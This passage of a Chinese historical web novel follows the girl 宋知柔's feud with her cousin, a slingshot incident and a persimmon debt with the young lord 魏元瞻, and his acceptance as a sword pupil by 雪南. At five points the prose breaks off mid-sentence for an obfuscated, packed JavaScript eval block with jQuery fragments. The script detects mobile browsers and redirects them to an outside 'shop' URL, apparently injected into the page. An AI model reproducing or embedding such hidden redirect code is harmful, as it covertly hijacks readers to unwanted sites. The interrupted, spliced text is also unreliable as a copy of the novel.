“……没有了。”宋培玉尴尬地回了一句，暗自腹诽：难道他想错了？魏元瞻与他不是一个阵营。 余后几日，宋培玉换了不同的招数作弄宋知柔。 或是拿水溅她，或是给她的吃食里加料，亦或是用弹弓打她。知柔夜里翻看，小腿上磕起一坨坨乌青。 她不是生受的性子，尤其对宋培玉，早已交恶，也不在乎什么隐忍克制了。他如何待她，她便如何回馈，前几样皆已勾销，除了弹弓。 家塾晌午会放学生小憩，鸣钟一响，知柔立时跑到廊下，拐入月亮门，化成一颗愈行愈小的黑影。 “她又做什么去？饭也不吃。”兰晔嘀咕了一声。 这些天，他陪魏元瞻进出宋府，对宋家这位四姑娘的作风颇有感触。若以一句话形容她，便是：“桀骜不驯，很有些野。” 魏元瞻睇着那道旋风样的人影，手里一支狼毫搁下来，投到清水中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848684|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，语气显出几分漠然。 “她吃不吃饭，和你有什么关系？” 兰晔颧骨一热，干笑两下：“爷的耳朵可真好使……” 魏元瞻从位上起身，擦了擦手，问：“长淮呢？” “去给爷带吃的了。”兰晔看了下天色，“确实有些时候了，怎的还没回。” 两人说话的当口，长淮拎着食盒从另一边快步行来，进了门，把东西放稳，俯身在魏元瞻耳旁说道：“盛公子想见您。” 魏元瞻微愣，稍作思忖，眸中的喜悦压抑不住：“在哪？” 宋家家塾建在府邸的东南角，外头是条空巷，往前走出去了，才是真正繁华的京城。 冬日里萧风瑟瑟，魏元瞻立在墙根下，听着竹叶与砾石的声响，转头望向长淮：“你说他在这儿？” 他难得讪笑了下：“要不说是盛公子呢，别具一格。” 魏元瞻盯着这堵白墙，扬声试探：“盛星云？” 那头真有回应，不过等了半晌，好像谁从稍远一点的地方循声跑近，抑着嗓音说：“是我！你来了，我等得嘴都僵了！” 他急急地喘气，魏元瞻眉峰一抿，是个嫌弃的表情：“你是进不来吗？” “宋府！我怎么进去？”盛星云反诘，猜他要说跳墙，忙抢白道，“我是不敢的，你也别出来。” 他二人是因为侯夫人才沦落到今日这般，魏元瞻心里过意不去，四下里望一眼，吩咐兰晔长淮到门洞底下看着，若有人来便唤他。 自己踩着梯子爬到墙头，屈腿坐下，一只脚垂下去悠悠地晃：“我这不算出来吧？” 盛星云望向魏元瞻，揪着狐领把脖子围得愈发严实，咧一咧嘴：“不算。” 他的衣裳向来鲜艳华丽，襟口和袖端的皮毛在阳光下耀着柔和的光泽，穿他身上，衬得肤色有些黑。 魏元瞻没忍住一笑：“你跑哪晒去了？” “果真黑了？”盛星云眉间皱成川字，“都怪我爹，大冷天非喊我陪他钓鱼，口口声声要磨一磨我的心性……” “行了。”魏元瞻笑着切断他的絮叨，“你找我是有事？” 盛星云点头：“我前日陪我大哥去走铺子，在我家一间当铺看见了你的东西。” 他一面说，一面从袖中掏出什么抛给魏元瞻：“你瞧是不是？” 只见一枚色若春芽的玉佩飞掷上来，魏元瞻伸手攥住了，摩挲两下，眼角微微一动：“何人当的？” “我问了，说是一个乞儿打扮，也不识货，被肖掌柜几个散碎银子就打发了。” 魏元瞻敛容，记得那天街上……好像是有一群呼喝的小子。 “物归原主，你怎么谢我？” 墙底下声音乍起，魏元瞻还没回应，一个迅疾的力道猝然朝他背后一抨。 他吃痛，拧着眉头回首，视线在周围巡一圈，终于逮到叶罅里一抹鬼鬼祟祟的影子。 是在发抖么？魏元瞻嗤笑。 敢搓泥丸打他，却不敢现身，真没用。 顾不了盛星云，他收好玉佩，利落地从墙头上跳下来，要去抓那个狗胆包天的影子。 孰料那影子忽然机警，拔脚向一处矮门夺去。 魏元瞻气势汹涌地命令道：“不许走！” 14. 饯星霜（二） 冬月的正午，阳光打在身上尚有些微薄暖意，一旦踏进荫里，那丝温暖便流逝了，连空气都是清寒彻骨的。 知柔蹲在院中一处嶙石后，周围竹木掩映，阒寂无声。 她拧了拧冻僵的手指，掏出弹弓测试一下，嘴里嘟囔着：“你才是小野兔，我打你，一打一个准。” 动作间不慎掸到砖面，扬起的碎石朝眼睛走，疼得她连忙捂眼，挤出一点泪花。 搓揉半晌，她重新抬头，慢慢撩开眼皮，就见水汽盈盈的视野中出现一道模糊的人影。 那人坐在墙头，似乎与谁说话。 知柔悄顾一周，哪还有别的影子？ “真怪。”她低说了句，把膝盖抻一抻，敛衣起来，换个姿势。 谁知目光不自主地往墙头复瞥一眼，闪了神。 她今日特别留意宋培玉，记得他的衣裳是薄蓝色，马尾扎得高。 她专门守在此处，就是为了等他经过，给他一击，趁着四周无人，谁也帮衬不了他。 眼下，便是大好机会。 知柔踩前一步，借着假山间隙撑弓，另一只手从袋中摸颗泥丸，瞄准那烦人的后背，觉得不解气，又低下两寸，手指一松。 “啪嗒！” 一声闷响。 中了。 知柔自得地翘翘唇角，简直要出声。 孰料眨眼的功夫，那人转过背。 石缝前，几株竹木雍雍摇荡，知柔感觉到一双眼睛穿过绿影直射过来，像日头下反光的铜镜，又亮又灼，刺疼了她。 她登时有些慌乱，弹弓拿在手里想扔，又不敢，一时抖若糠筛。 最后身体本能地替她做了决定——跑。 少年身手敏捷，腿又比她的长，恍如闪电般到她身后，她领口一紧，几乎被人提溜起来。 “是你。”魏元瞻挑眉，兼惊讶与挑剔的目光将她扫量一会儿，力道稍释了，手却没松。 知柔咳嗽两声，拽一拽衣领，挣不动，适才低眉和他解释：“你认错人了……” 魏元瞻听见好笑，她亦反应过来，举起脸：“不是，是我、我认错人了……” “你以为我是谁？” 魏元瞻毫不退让地盯着她，见她小心翼翼，要看不敢看地投上一眼，便笑：“你打了我。” 以往几回，知柔的眼神都是直来直往，没有一丁点避忌，今日却很心虚，听他发话，不自在地覆了覆睫。 “你得赔。”他又说。 少年的视线太锋利，知柔脸腮发热，像在受刑。 此刻闻言，她二话不说把佩囊和弹弓一并奉上：“好！”然后闭眼，“来吧。” 神态颇有几分视死如归的味道。 魏元瞻嗤一声，松开了她，复用掌心推她的手：“我不打女孩儿。” 知柔慌忙睁开眼睛：“那怎么办？” 她决计不要亏欠魏元瞻什么，等这场曲折过去，她又可以和之前一样，视他作无物。 魏元瞻不知她的心思，但他朝下睨着她那过分奇怪的表情，突然不大高兴。 他忖了半晌，故意使坏道：“起云园有株柿子树，你去摘几个柿子给我，我便原谅你。” 怕她耍赖，多添了一句：“别想着偷梁换柱，说好了，我只要起云园的。” “可那是先生的柿子，我怎么摘？” 魏元瞻瞥她一瞬，往前慢悠悠地走：“那你就被我记恨吧。兴许过几年，我忘了这事儿，又兴许……” 他停下来，半侧着身朝知柔微笑：“兴许，我一直记着，就等哪日拎出来报复你，叫你后悔都没地方哭。” 知柔倒不怕他的报复，只瞧他捉弄人的神气，有些同他杠上了。 顷刻把弹弓插回腰间，振作起来，好似有种天生的张扬在她骨子里：“你等着吧，我早晚给你摘来。” 早晚是多早晚，魏元瞻没数，依照他的脾气，自不会天天逮着宋知柔讨问。 总归他经常在起云园，不是帮雪南先生洒扫庭院，就是陪他烹茶手谈。好好一个贵公子，从来只有旁人照顾他的份，如今为了拜师，什么活儿都肯揽。 雪南瞧了一个多月，虽嘴上不提，但心下了然。 他看魏元瞻一眼，道：“别忙了，外头风大，到屋里坐着，我有话与小公子说。” 魏元瞻把箕帚归置原处，先净了手，才进来坐到榻上，抬起眼：“先生？” 门外残阳如火，风却是静的，炭盆里火苗跳跃，偶尔噗呲几声，带着一阵令人舒心的力量。 这片刻安宁间，雪南缓缓开口，没做任何铺垫，就道：“小公子，我们第一回见面时我便说过吧，我不收徒。” 话音过耳，魏元瞻委实慌了一刹，有些不安地想，先生是要赶他走么？ 他攥拢掌心，压抑着紧张的情绪，默了一会儿。 “为什么？是您上一个徒弟让您很失望吗？”他忽然问。 雪南眯眼瞧他，少年那双眼睛格外有神，对上他审视的目光，没有一丝摇摆，坚定而清透地回视。 雪南一笑：“你倒是个直率性子。” 转而端起茶杯呷了一口，语气是轻缓的，嗓音却显几分落拓。 “找一个好徒弟，很难……你又为何想要拜我为师呢？” 想来坦诚之辞比花言巧语有用，魏元瞻心里暗舒口气，思索片晌，答道：“先生的剑术绝高，我学过剑法，想跟一名厉害的师父。” 他的回答几乎未加打磨，纯粹得像原野上一缕长风。 雪南听了大笑起来，手掌搭着膝头：“小公子，你看过我出剑吗？你怎知我不是忝窃虚名？” 魏元瞻道：“先生每日都会在东边花园里练剑，我观察许久了，您的剑法密集锋利，势如破竹，绝非盛名之下，其实难副之辈。” 说完拎袍起身，走到正中朝他俯首下拜，模样端端正正，没有半分玩色。 “请先生教我，我什么都愿意做。” 榻上之人一点点收了笑，眸光微转，神色沉寂下来。 再一次，屋内仅有炭火燃烧的声音。 魏元瞻这一月多频繁来往起云园，却从未言及拜师之事。若非雪南今日开门见山，他定会等待，直至寻到一个合宜的时机。 事与愿违，他心口鼓噪得快要蹦出来，手心冒着薄汗，只能克制着，微微抿唇，等待别的声音在屋中响起。 很久，男人终于置评了一句：“嘴皮子利索。” 雪南不肯承认他对魏元瞻连日的“打探”毫无察觉，私心里已经动摇。 他停顿了一下，仍旧是平和地笑：“我想了想， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848685|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确有个折中的法子——我可以教授你剑法，但你得拿出相等的东西和我交换。” 这便是为难了。 魏元瞻眉宇微深。 他所习武艺，皆是祖父在世时亲自教他的，他年岁小，技艺不精，哪有一样能与雪南先生的剑法对峙？ 纵明白先生此言是想着辞，他依然不甘，抬脸望他良久，起身说道：“好。先生这里可有枪？” 半大的小子还没一枪高，说自己要用枪时，雪南不由失笑。 机会还是要给，他将人领到明光庭，亲手把长枪交到魏元瞻手中，随后往他肩头一按：“当心，别伤了自己。” 天色晚了，红霞埋在园中，空气里飘来一些呛人的烟火气。 魏元瞻将手里的银枪打量须臾，然后转了转，轻轻一笑。 似乎称手，还未等雪南站回亭下，他已开步出枪，枪势如一点雪花随清风射过，直取雪南衣袍，带了些寒意。 雪南不由止住身形，回首定定地看暮色下挥枪的少年。 原以为他这个年纪，使枪不过花拳绣腿，不曾想他当真学过枪，每一式都挟着矫健的力道，枪随腰出，韧若游龙。 雪南的脸色愈发紧绷了些，尤其在瞧出魏元瞻用的枪法后，呼吸都急促了。 ——那是魏家的枪法。 一招一式都极考筋骨，曾经在战场上，枪枪封喉。 不知过了多久，魏元瞻收枪走来，喘息间扬着意气的笑，向他抱拳：“先生。” 雪南沉吟片刻，口吻有七、八分笃定：“你是魏将军的后人？” “先生知道我祖父？”魏元瞻双眸微睁，且惊且喜。 那便是了。 雪南的神情渐渐松弛下来，似忆往昔，喟然一叹：“我与魏将军……曾有过一面之缘。” 听及此，魏元瞻眼底光亮不免暗了一寸。不多时，他祈愿已久的事终究有了回应。 “到底是缘分。既然你愿意跟我学剑，那好，每日卯时交半，你来此寻我，晚一息，我便不候。” 他只疑自己听错了，抬目去看雪南的神情。见他不似作伪，嘴边立马绽出一个清朗的笑。 “谢先生！元瞻多谢先生！” 数日里，知柔看见魏元瞻便想起欠他的柿子，欲去摘来，却没有出府的名目。 次日在澹玉苑问安，听宋祈羽下晌要去和人蹴鞠，知柔觎他一顷，心思微转。 出了房门，她追着宋祈羽喊道：“大哥哥，等一等！” 庭前的海棠谢了，梅花将放，星星点点像雪一般。 宋祈羽站住脚，半偏过身，等她上前。 知柔仰脸望着他：“大哥哥，你出府能带上我吗？” 宋祈羽抬抬眉梢，再次打量起她来。 结论是，宋知柔年幼，喜欢新鲜物件儿，偏又面嫩，不好跟父亲张口，便托他这个长兄带她出门。 他笑了一下，却并没有对她表现得热络，仍一贯简言：“你想要什么，告诉下人便是。”会有人买回来。 话罢便向外走，知柔忙叫住他：“蹴鞠！” 突如其来的一句，宋祈羽回身，剔她一眼：“什么？” “我会踢蹴鞠。”她眼眸明亮，声音里盛着煌煌灼意。 “大哥哥，我想和你一起踢蹴鞠。” 15. 饯星霜（三） 四周静了，听见花枝簇摇的声音，晨光抚过她的脸，带着一种未经世事的纯澈。 宋祈羽这回真笑起来，难得有些热温，眸光凝视她一会儿，笑着诘道：“和我？为什么？” 二人并不亲近，再实际点，连相熟都谈不上，她有此言是真的贪玩，还是在暗里盘算什么？ 少年音量不高，眼神却有些尖锐，知柔和他一对视，顿觉慌张，她使劲把手一握，回了句：“没人愿意和我玩……” 说得啻啻磕磕，有几分可怜。 若换作别人见她如此神色，大约会心软一二，但宋祈羽人是冷的，心也是。 他在她身前站了会儿，说：“那便去找。” 去找什么呢？知柔不及反应，只从他清凛的眼光中会到一点意思——她不能再纠缠他了。 知柔嘟一嘟嘴，望着宋祈羽的身影消失在廊下，失落地叹了口气。 到家塾，甫一跨进去，正巧看见魏元瞻从长淮那儿接了巾帕擦手，似乎关注到她，抬眸瞟来一眼，不等她闪避，又收回目光。 知柔走到自己的位子坐下，再扬脸时，宋培玉丢给她一本书，往她怀中一落，恰好将她偷藏的话本掷到地上。 “会写字么？”他吩咐一般，“这些，你帮我抄。” “不会！”知柔本就厌烦他，因为掉了话本，语气更差，俯身将东西拾起来，“你别跟我说话。” 宋培玉微怔，继而揪起眉毛：“你还生气了？” 那豆大的泥丸打在他屁股上，现在坐着还疼呢！ “宋知柔，”他如今知道喊她的名字了，愤愤地问，“你凭什么生气？” 引得魏元瞻又往这里剔一眼。 不知为何，知柔在他面前总有些心虚，想说点什么，却只把册子扔回给宋培玉，暗下决心。 今日定要去起云园把柿子摘回来。 下晌散学，星回在门口迎她，笑嘻嘻地说：“四姑娘，太太又叫人拿了一件银鼠袄子过来，让你回去试一试呢。” 算起这些时日二太太对她的照拂，知柔睫毛一扬，道：“二太太近来有喜事？” 星回思想一会儿，忽然抿唇：“四姑娘的心也太沉了。太太待您好，这不是好事么，哪里要去想那么多。” 知柔就是觉得古怪。 私底下她去问安，二太太向来是疏疏淡淡的，甚至有些冷漠。有宋从昭在时，二太太还会偶尔提她几句；若他不在，便权当没有她这个人，随她站着、坐着，还是发呆，她皆不在意。 眼下一桩桩、一件件冬物与她添补，实在反常。 事实也是如此，许月鸳对知柔的好，皆是出于算计。 打上次许老夫人寿辰，知柔被带去许府祝寿，却得一眼乌青，宋从昭知晓后，与许月鸳吵了几嘴。 她心中有气，兼原就不喜她们母女，便同身边人合算着，先予其利，全了自己的贤良名声，再慢慢等那丫头犯错，积年累月的叠起来，加诸其身，便有了正当的名目把人送回江南。 如此，小的走了，当娘的焉有继续留在宋府的道理？整治一个不学无术、任性妄为的孩子，总是比整治一个受宠的姨娘好听得多。 往日下学，知柔都要到樨香园待一阵，用了晚饭才回拢悦轩。今日却不同。 她担心与林禾答对会被看出端倪，稳妥起见，知柔少坐一刻便借口喂乌龟，先辞回屋了。 从樨香园到拢悦轩的路说长不长，知柔捱步走着，眉尖微蹙，作思考状。 星回喊了她几声，见她一副神游天外的样子，忙上去将人拽住了：“四姑娘，仔细看路。” 知柔立住脚，鞋尖就蹭在阶壁上，险些跌下。星回托着她的胳膊，端详她道：“四姑娘在想什么？打林姨娘跟前出来，您便没再吭声。” 朝夕相处日久，知柔对星回的秉性很有些了解，她胆子小，请她掩护自己，不一定牢靠。故而谋划出府一事，知柔没对她说，只含糊地笑了下：“有点饿……” 因这一句，星回一近拢悦轩就和知柔分开，跑去小厨房里找吃食。 下午阳光澄亮，婆子丫头们做完手里的活，纷纷躲在檐下偷闲。不一时，屋内涕泣声响，众人皆愣，即刻应过来是四姑娘的声音。 院里的人已换过一次，没哪个敢对主子不上心，听见动静，一窝蜂涌到卧房外，等管事嬷嬷查看后下达指令。 却是四姑娘的乌龟丢了，大伙儿松一口气，转头四散着帮四姑娘寻。 待星回返还，知柔早已没了踪影。 快进腊月，京中的气候愈发干冷，市间行人渐少，货郎挑着竹箱呼唤而过，擦肩一位窄袖圆领袍的小少年。 “他”由一名老妇牵着，在街上徐徐地走，或是给风刮疼了，面上有团稚气的红晕。 这人不是知柔是谁？ 为了不引人注目，她特意请了个婆婆带她前往，一老一小走在路上，倒真像那么回事儿。 以至于宋祈羽同人经过她们，仅仅掠了一霎，便错身离开了。 知柔来过起云园，依稀记得些路，眼望快到了，她与老妇分别，掏出一张面具戴上，于无人处爬上那堵不算太高的土墙。 纵她天生好动，蹦跳惯了，此时拖着冰手冰脚，做贼似的往上攀，心里十足后悔。 为了个不打紧的柿子，和一个不打紧的人，费她如此周章，太不上算。 转念又丧气地想，谁叫她欠了人家？再不践诺，她在魏元瞻面前真无法端直腰了。 知柔算好了，她就摘一个，等下回可以名正言顺出府，她再到雪南先生那儿当面“谢罪”。 园子里，魏元瞻坐在石几上，极认真地拿手巾擦剑。 盛星云是一早逃学过来找他的，抻一抻压麻的腿，冲他赞许道：“你也忒勤了，一个早晨不够，下午还要过来续上。回去呢，你回去还练么？” “府里没地方。” 这真是谦辞，盛星云一趣：“侯府没地方，那我家岂不是土阶茅屋？” 魏元瞻听着笑了下，把剑送回剑鞘。 盛星云仰头望天，半晌，幽幽喟叹：“打你从书院走了以后，我跟冯铎他们耍在一处，好没意思。” “来起云园睡觉就有意思了？” 他咂了咂嘴，然后摇头：“没意思。” 魏元瞻只管笑着，不怎么客气：“那你快走。” “是啊，我一直在等你，能走了吧？”说完起身，懒洋洋地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848686|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那，浓长的睫羽下投着狡黠的阴影。 魏元瞻不禁剔目打量他。 果然，他得意地笑了声：“龚岩他小儿子不是好虫斗么，可巧，龚三的促织是我一个掌柜大哥的朋友驯养的，我请人拖了拖，等咱过去。看他没了角儿，这戏还怎么斗。” “龚三又招惹你了？” “他没有，是他老子……” 话音即止，盛星云的脸色立时淡了。魏元瞻亦然，那双眼睛寒气凌凌的，全是鄙厌。 龚岩是个老迂腐，瞧不上砸钱进书院的盛星云，对他时常打压。孰料堂堂的侯府世子竟然一次一次替他出头。 因见不得魏元瞻和一个商贾之子混迹一处，龚岩屡屡规劝，可魏元瞻“自甘堕落”，充耳不闻。 逐渐便成了这幅敌对的局面。 魏元瞻学上他的话调，把石桌一推，踱了出来：“那就找他老子，捉弄龚三顶什么用。” “你当我不想么？”盛星云轻哼，“龚岩是先生，他叫我难堪的法子有许多，我若想回敬他，除非跟你一样，不去亭松书院了。” 他说完，又觉得不对，凭魏元瞻的身份，就算顶撞龚岩也无甚大不了的——从前他顶撞的还少么？ 盛星云不由灰心，突然认为欺负龚三并不能给自己找回场子，兴许叫龚岩知道了，还会变本加厉地刁难他。 再开口，难免瓮声瓮气的：“算了，我打发人去广春楼说一声，不弄龚三的‘心肝’了。” 魏元瞻也不问他如何改了主意，看一眼天色，道：“咱去喂雀儿？” 盛星云平素最爱逗鸟，闻言，精神一振，不知哪里变出个草根子叼在嘴上，搭住魏元瞻的肩：“走走走，晚些就捉不到了。” 一行至明光庭，蓦然听见草地上异样的响动，二人逐渐止了话音，朝墙下眺望。 有团人影正蹲在那，拍去靴上齑粉，转而站直身子，掉过背，一双漆黑的眼眸陷在面具下，毫无防备地撞上两个少年的目光。 她好似受了惊吓，往后踉跄了一步，掌心里攥着一把冷汗。 盛星云还在惊讶何人胆敢白日行窃，魏元瞻早已经一眼认出了宋知柔。 他径自上前，用鞘尾将她的面具一撂，露出一张微含怯意的脸。 继而大马金刀地立在她身前，嘴角略扬，是一抹稍显快意的笑：“你这个贼。” 知柔犹在怔忡间，听此身躯一抖，随即反驳他：“我不是贼。” “不是贼，那你何故越墙而入，不走正道？” 少年的眉梢轻挑起来，明知她的目的，却存了心戏弄。 盛星云辨出点什么，眼珠子在他二人身上斜一斜，踱近了端详知柔。 给他们这样盯着，知柔不是贼也有了是贼的心情，登时又慌又气。 起先的愧怍冰消瓦解，对着魏元瞻，她的视线又和最初认得的时候一样，直勾勾的，没有忌惮：“你不是最清楚吗？” “我清楚什么。”他仍不肯承认。 知柔咬了咬牙，四面寻顾：“柿子树在哪？我摘就是了。” 魏元瞻抱剑环臂，装得无辜，声气中分明带着挑衅的笑。 “谁跟你说起云园里有柿子树了？” 16. 饯星霜（四） 知柔呆了一会儿，很快反应过来是魏元瞻在戏耍她。 根本没有柿子树。 知柔十分气恼，觉得自己受了委屈，心口涩涩的，眼睛却还倔强地瞪着魏元瞻。 恰值宅中一名老仆经过，见多一人，不由站住脚，目光在她身上略停。 “小公子。”唤的是魏元瞻，“这位，也是您的朋友？” 盛星云来时经过魏元瞻引荐，算是“走了明路”的客人，而眼前这位穿圆领袍的孩子，实在有些面生，且观几人相处的模样，难谓和善。 到底魏元瞻是雪南先生亲收的徒弟，老仆随主，心自然往他的身上偏些。 见状，知柔的愠怒逐渐转为困惑——魏元瞻何时成了起云园的座上宾？这架势，在场的似乎只有她一个可疑的外人。 她突然有点紧张地盯着他看，真怕他说出一个否来。那她不就成了货真价实的贼？ 魏元瞻没理会她的视线，只望着老仆：“是，我们正要出去喂雀儿，这便走了。” 那老仆方才宽心，与他招呼几句，折身离开。 盛星云在旁边观察着，终于敢肯定：墙下之人就是宋府的四姑娘。 只是不知她同魏元瞻是何时认识的，听他们说话好像并不陌生，可上次他向魏元瞻打听时，他分明一脸的不耐烦呀。 盛星云眉宇轻蹙，朝知柔道：“怎么，你们原来认识？” 出口却是熟稔的语气，不像在问她。 早于老仆经过前，魏元瞻的目光其实放在知柔脸上，见她嘴唇抿得紧紧的，仿佛有要哭的预兆，他一吓，视线当即窘迫地调开了。 此刻听盛星云问，他没有抢着回答，而是重新睇了知柔一眼，吭吭地咳了两声，有些不自在。 知柔本能地要说不认识，欲待张口，又觉得没这个必要。 她返身预备再爬出去，魏元瞻在后头道：“你往哪儿走？”语调不免有些懊悔的慌张。 盛星云瞩着前面哑巴似的人影，微一挑眉：“她为何不爱理人啊？上次也是……还有，什么柿子？我怎么听不懂。” 知柔一只手抵至墙壁，闪神一想，她既已被发现，不如走正门。从里边往外边翻，不易，也不太好看。 遂又回身，赶巧儿听见盛星云的话，努嘴咕哝了一句。 听起来像“狗柿子”，抑或是……“狗世子”？ 魏元瞻被她的粗鲁惊住了——从没有人敢这样骂他。随即勾起唇角，垂下眼一笑。 他掣着盛星云走在知柔后面，且观她无人指引，如何出得去。 弯绕的一截路上，两个少年在后头悠悠地走，前边一个小姑娘左瞧右看，时而停下脚步来琢磨。 盛星云对知柔好似有特别的兴趣，打量她许久，小声道：“她不像是宋家的人……面貌不像，气质更不消说。” 高门显贵家的公子小姐，身上总有一股不可一世的神气，形同高岭间一朵冷冶绝艳的花。 忆起宋家兄妹的脸，盛星云面容抽搐了下，立马摇头甩开，心思复归知柔身上。 他思索着评议：“想来也是，她无父无兄，又曾住在乡下，怪不得出来总是一身男孩儿打扮，遮去那张脸，十足一个野小子嚰。”真是有点可怜。 魏元瞻听了瞟他一眼，不知想些什么，轻哼一声：“快把你的同情相收回去吧，我瞧她好得很，力大如牛。” 盛星云一愕：“你同她打过？” “没有。” “那你如何知道她力大如牛？”盛星云多瞄知柔几下，“挺瘦弱的呀。” 魏元瞻沉静着，反手蹭一蹭后腰的伤。 已经数日过去了，稍微触及，还是会隐隐作痛。他偶尔庆幸地想，得亏他们积怨不深，若再交恶些，她那力道是不是能要了他的命？ 原本还有些愧疚自己捉弄了她，经此一念，觉得他的行为实在不算过分。 若非他习武艺，皮肉结实，哪能在她的袭击下强作无事，保全一点不必跌得狗啃泥的脸面？ 盛星云见他不说话，只是嘴角略提，露出一个嘲讽的笑，便知不好继续追问。 二人一路跟在知柔身后，隔着一段有礼的距离。 知柔猜想魏元瞻定是故意的，当她是猫狗遛呢。 她凭着记忆和些许判断，良晌功夫，果真走到了门口。 此时，天色将颓，街巷里漂浮着浓馥的烟火气，灯笼不知是何时打起的，从头顶掉下两束光。 “喂，你要怎么回去？” 魏元瞻瞩着面前孤单落拓的小影子，长眉微拧。他劝告自己，眼下的这幅局面，自己也有一份责任。 知柔肩背挺直，郁气好像散了不少，声音却显得倨傲：“我能出来，自然就能回去。” 话音甫落，挂着侯府徽印的马车由巷口驶来，将近门首，车马止步。 魏元瞻无视知柔的固执，简单道：“上车。” 未防她转过来，深秀的眉目被火光映照：“我不要你。” 一语既出，魏元瞻和盛星云都愣了。 寒风在三人间肆意横行，灯笼微转，少年的脸色逐渐黑沉。 他从没有这样难堪过。 对手还是一个只会玩弹弓的稚嫩小童。魏元瞻心里暗暗冷笑。 他不再废话，迈着大步上车，见盛星云一副放心不下的表情，不耐烦地扬眉：“你要在这里过夜吗？” 盛星云一讪，只能咽下话头，随他登上马车。 人都走后，知柔像个被抽了筋骨的皮偶，脊梁一寸寸低下去，神情也黯了，有些无力。 肚皮空空，独自一人，还得赶在府里发现之前，神不知鬼不觉地溜回去。如此代价，只为了一个莫须有的柿子。 她失落得直想哭，但如何挤眼，终究是没有一滴眼泪。 所幸手里有钱，她很快从短暂的情绪中恢复，心思明朗起来。至少她不再亏欠魏元瞻了。 斜街对面是一家车铺，天未黑透，周遭散着昏昧的光。知柔跑过去，费了不少口舌才赁下一辆驴车，请人驶到曲妃巷。 那是离宋府家塾最近、最偏僻的地方。 拢悦轩里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867766|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自管事嬷嬷下令，招呼众人帮四姑娘寻龟后，整个院中只有星回在担惊受怕。 她明知四姑娘不见了，偏又不敢声张，只提着一柄纱灯，脚底生风地到处乱走。 光影不断晃动，从拢悦轩内映至院外，光辉折闪几下，不一时，照见了花园中一个鬼祟的人影。 星回就要大喊，知柔忙从黑暗里抬腿出去，用食指抵唇，叫她别出声。 随后等她走过来，知柔便道：“帮帮我。” 在星回的帮衬下，知柔悄无声息地回了屋，换好衣裳，在桌边大口吞咽吃食。 乌龟已被星回从她藏匿之处拎了出去，众人歇散，不曾察觉此间异样。 星回长吁口气，进屋把门关了，立到她身侧，一对眼睛仍有余悸地瞅着她：“四姑娘，你无碍吧？可有哪里不好？” 知柔只管摇头。 今日没与她通气儿就擅自出府，她一定很着急。 星回沉默半晌，想四姑娘应是无碍，这才在她手边坐下，直言道：“下次再有这样，您就与我说一声。我不知道您去哪儿，起码得知道您何时回来。” 知柔张了张嘴，原以为她会问些什么，不曾想就这么轻易地揭过了。 须臾，知柔眉眼一弯，露出一丝烂漫的笑：“好。多谢星回姐姐。” 十余日后，一张请帖由城东江府送至宋府，连同一些书信，被邹管家亲自呈到许月鸳手中。 有一封从南边来的，许月鸳只扫了一眼便随意搁置，拆完其余几封，才将目光投去江府的帖子上。 江家原是京城里屹立最久的商贾人家，虽有些声望，却与士族名门扯不上干系。 要说转折，便是十二年前，江三公子求大理寺卿之女沈敏为妻，一朝跻身权贵，成了京中一个传奇。 彼时的江三公子，便是如今江府的主人。 许月鸳放下请帖，对身旁的刘嬷嬷说道：“江夫人请我携几个小辈到她新建的园圃去做客。” 她转头望向窗外，秀眉不易察觉地拧了拧：“这样冷的天儿……” 刘嬷嬷随她睇一眼，举步将窗子阖上，又走回来，含着笑意劝道：“将过年了，也是图个喜庆。” 炉中白烟缥缈，许月鸳玉指按着请帖，思绪拨回从前。 景治三十年暮秋，她第一次见到沈敏——京城中最豪爽不羁的女孩儿。因为母亲的关系，她和沈敏很快结识，几回来往间，已然成了最亲近的伙伴。 那会儿尚未出阁，许月清和她也没有嫌隙，三人同吃同睡，倒在一张榻上，诉说各自的少女心事。 忆及此处，许月鸳胸口沉闷，缓了半晌才重新抬眸，改口道：“你说的不错。” 她拾起手边未拆封的信，交给刘嬷嬷：“替我把这些处理了吧。” 府上经常会有一些不重要的信件，许月鸳循旧，习惯叫人收到后面的木箱子中。 